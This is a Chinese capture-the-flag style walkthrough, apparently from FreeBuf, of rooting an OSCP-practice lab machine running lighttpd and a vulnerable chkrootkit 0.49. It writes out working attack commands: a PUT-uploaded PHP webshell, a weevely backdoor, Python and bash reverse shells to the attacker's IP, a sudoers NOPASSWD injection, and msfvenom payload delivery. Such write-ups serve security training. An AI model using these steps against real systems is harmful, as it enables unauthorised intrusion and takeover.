该项目是D4rk作者精心制作的项目环境,目标是获取获得root权限并找到flag.txt文本信息,该项目作为OSCP考试培训必打的一个项目环境,该作者评定该环境为渗透中级水准难度。接下来不管是零基础学习渗透者,还是有些基础的渗透者,甚至是高水平的渗透人员读该的技巧和文章都能学习到一些红队知识。
该项目有始有终会用到 信息收集 -> 端口信息枚举 -> Webshell(两种方法)-> 内网信息枚举 -> 提权(三种方法),最终拿到flag.txt的过程,那么在五大模块中用到了一些小技巧都会在文章中演示出来,希望大家能动手也来和我一起学习渗透。
请注意:
本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责。
信息收集非常重要,有了信息才能知道下一步该如何进行,接下来将用nmap来演示信息收集:
由于本项目环境是nat模式需要项目IP地址,扫描挖掘本地的IP地址信息:
本机IP为:192.168.40.138。
发现本kali ip为40段!用40段进行全网段扫描:
nmap -sP 192.168.40.0/24
发现项目IP:192.168.40.160。
进行namp全端口服务枚举:
nmap -sS -sV -A -T5 192.168.40.160
得到开放的端口信息:
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.8 (Ubuntu Linux; protocol 2.0)
80/tcp open http lighttpd 1.4.28
开启了两个端口22和80,就从web页面信息枚举ssh登录!
访问web页面并查看其源码信息:
http://192.168.40.160/
主页仅仅提供一张图片,图片中隐写查看也没有可利用信息,查看静态源码提示:这里没有什么信息!
用dirb对web目录进行爆破:
dirb http://192.168.40.160/
发现 http://192.168.40.160/test/目录信息,深入枚举!
Lighttpd是一个德国人领导的开源软件,其根本的目的是提供一个专门针对高性能网站,安全、快速、兼容性好并且灵活的web server环境;具有非常低的内存开销,cpu占用率低,效能好,以及丰富的模块等特点。
访问该路径:
http://192.168.40.160/test/
存在Parent Directory/文件目录,点击又跳到了图片处!发现左下角图示:lighttpd/1.4.28。
HTTP请求方法并不是只有GET和POST,只是最常用的。据RFC2616标准(现行的HTTP/1.1)得知,通常有以下8种方法:OPTIONS、GET、HEAD、POST、PUT、DELETE、TRACE和CONNECT。
用OPTIONS查看下支持用的方法:
curl -v -X OPTIONS http://192.168.40.160/test
-v ---列出详细的信息
-X ---指定请求OPTIONS选项信息
回显如下信息:
< Allow: PROPFIND, DELETE, MKCOL, PUT, MOVE, COPY, PROPPATCH, LOCK, UNLOCK
这里提示允许使用这些命令:“PROPFIND, DELETE, MKCOL, PUT, MOVE, COPY, PROPPATCH, LOCK, UNLOCK”。
用burpsuite测试put请求:
发现可以请求上传成功!
1、用curl写入PHP一句话脚本,并利用PUT上传至web目录页面:
curl -v -X PUT -d '<?php system($_GET["cmd"]);?>' http://192.168.40.160/test/shell.php
成功上传!
2、验证是否上传成功:
上传成功!
3、页面执行命令:
http://192.168.40.160/test/shell.php?cmd=id
成功执行命令,那么我们可以利用执行反弹shell至本地!
4、反弹shell
本地开启监听,页面执行shell命令:
nc -vlp 6677
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.40.138",6677));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
发现没回显信息,判断防火墙做了端口限制,思考防火墙开启哪些端口可以利用。
weevely 是一款用 Python语言编写的针对PHP平台的WebShell 。其主要功能如下:
执行命令和测览远程文件。
检测常见的服务器配置问题。
创建TCP Shell和Reverse Shell,
打扫描端口。
安装HTTP代理。
1、利用weevely 生成PHP文件:
weevely generate passtest test.php
成功生成test.php脚本,密码为test。
2、用curl把文件上传至项目机:
curl --upload-file test.php -v --url http://192.168.40.160/test/test.php -0
--upload-file ---上传
-0 ---因为要接入http1.0或者http2,-0是自动会选择!
成功上传test.php脚本。
3、验证是否上传成功:
http://192.168.40.160/test
发现成功上传!
4、weevely执行脚本:
weevely http://192.168.40.160/test/test.php passtest
成功获得反弹shell!
利用curl上传扫描脚本linpeas.sh:
curl --upload-file linpeas.sh -v --url http://192.168.40.160/test/linpeas.sh -0
上传成功!
赋权并执行扫描脚本:
chmod +x linpeas.sh
./linpeas.sh
发现3个可利用信息:
Linux version 3.11.0-15-generic ---内核提权
Sudo version 1.8.3p1 ---可能存在sudo溢出提权
john:x:1000:1000:Ubuntu 12.x,,,:/home/john:/bin/bash
uid=1000(john) gid=1000(john) groups=1000(john),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),109(sambashare)
---sudo权限提升
查找下是否存在计划任务:
find / -name cron* 2>/dev/null
发现etc/crontab 文件。
查看文件信息:
cat /etc/crontab
发现这三个目录下存在计划任务:
/etc/cron.daily
/etc/cron.weekly
/etc/cron.monthly
可参考文章:https://blog.csdn.net/jixieyang3701/article/details/79410725
4、目录信息枚举
枚举/etc/cron.daily目录信息:
cd /etc/cron.daily
ls
发现存在:chkrootkit。
Rootkit是一个特殊的恶意软件,它可隐藏自身以及指定的文件、进程、网络、链接、端口等信息。Rootkit可通过加载特殊的驱动修改系统内核,进而达到隐藏信息的目的。Rootkit的三要素就是:隐藏、操纵、收集数据。
Rootkit具有隐身功能,无论静止时作为文件存在,还是活动时作为进程存在,都不会被察觉,它可能永远存在于计算机中。
Chkrootkit是一款用来检测rootkit的软件,运行环境为linux,可以直接通过http://www.chkrootkit.org/download/地址来下载,随后进行解压缩。
查找有无安装Chkrootkit软件:
find / -name chkrootkit 2>/dev/null
发现目录:
/usr/sbin/chkrootkit ---配置信息
/etc/cron.daily/chkrootkit ---环境变量信息
该环境是存在Chkrootkit!
查看chkrootkit版本:
chkrootkit -V
发现是chkrootkit version 0.49版本。
搜索chkrootkit可利用漏洞并下载至本地:
searchsploit chkrootkit 0.49
locate linux/local/33899.txt
cp /usr/share/exploitdb/exploits/linux/local/33899.txt .
发现33899.txt文本,并下载至本地。
分析文件:
cat 33899.txt
33899 exp文件中说:
“file_port
SLAPPER_FILES中指定的所有文件作为chkrootkit用户进行执行命令(通常是root),原因是file_port是空的,因为在变量赋值周围缺少引号!
接着利用chkrootkit获得root权限!
将update可执行文件放在/tmp中,运行chkrootkit,文件/tmp/update将以root身份被执行!
1、到tmp目录下生成update可执行文件的一句话:
cd /tmp
printf '#!/bin/bash\nbash -i >& /dev/tcp/192.168.40.138/443 0>&1\n' >> /tmp/update
cat update
写入成功!
2、给update赋权执行,获得反弹shell:
chmod 777 /tmp/update
nc -nlvp 443
成功反弹root权限shell!
3、获得flag:
ls
cat 7d03aaa2bf93d80040f3f22ec6ad9d5a.txt
成功获得flag!
1、将sudo权限写入www-data用户:
echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD: ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update
写入成功!
2、给update赋权
chmod +x /tmp/update
3、查看权限执行sudo
ls -la /etc/sudoers ---过几分钟查看
sudo su ----成功获得root权限
成功获得root权限用户!
使用msfvenom生成payload,配合msfconsole,触发服务器端反弹TCP,得到一个meterpreter的shell。
1、利用msf在本地生成elf脚本:
msfvenom -p linux/x86/meterpreter/reverse_tcp -f elf LHOST=192.168.40.138 LPORT=443 -o test.elf
成功生成test.elf脚本。
2、利用reverse_tcp并配置参数 :
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set lport 443
set lhost 192.168.40.138
exploit -j
成功建立TCP服务。
3、开启http服务下载脚本至项目机:
python -m SimpleHTTPServer 8080
wget http://192.168.40.138:8080/test.elf
上传成功!
4、更改脚本名并赋权执行:
mv test.elf /tmp/update
chmod +x update
脚本更改为update成功,等待msf上线!
5、获得flag:
sessions -l
pwd
ls
cat 7d03aaa2bf93d80040f3f22ec6ad9d5a.txt
msf成功上线,并获得flag!
6、防火墙规则查看
cat newRule
发现只有端口22、80、443、8080允许通过防火墙!
对于入站流量:只接收22、80目的端口,8080、443源端口
对于出站流量:只接收22、80源端口,8080、443目的端口
即,本地端口只允许22和80,外来端口只允许8080和443,用来保证对外部HTTP(s)服务的正常访问
由此,可利用这一点,监听443端口来接收反弹shell!
通过以上的学习,我们认知了一些红队的小技巧的技术手段,完成了从信息收集到内核提权项目落地,学习到了非常多的技巧,例如 nmap信息枚举、Web页面信息枚举、dirb目录爆破、burpsuite抓包探测、一句话触发反弹shell、weevely拿shell、计划任务枚举、chkrootkit提权、写入sudo权限提权、msf生成payload反弹shell等,希望伙伴们能实际操作复现一遍!来巩固自身的渗透技术和技巧!
希望大家提高安全意识,没有网络安全就没有国家安全!
本文作者:十七Seven, 转载请注明来自FreeBuf.COM
https://www.freebuf.com/vuls/354371.html
点击下方小卡片或扫描下方二维码观看更多技术文章
师傅们点赞、转发、在看就是最大的支持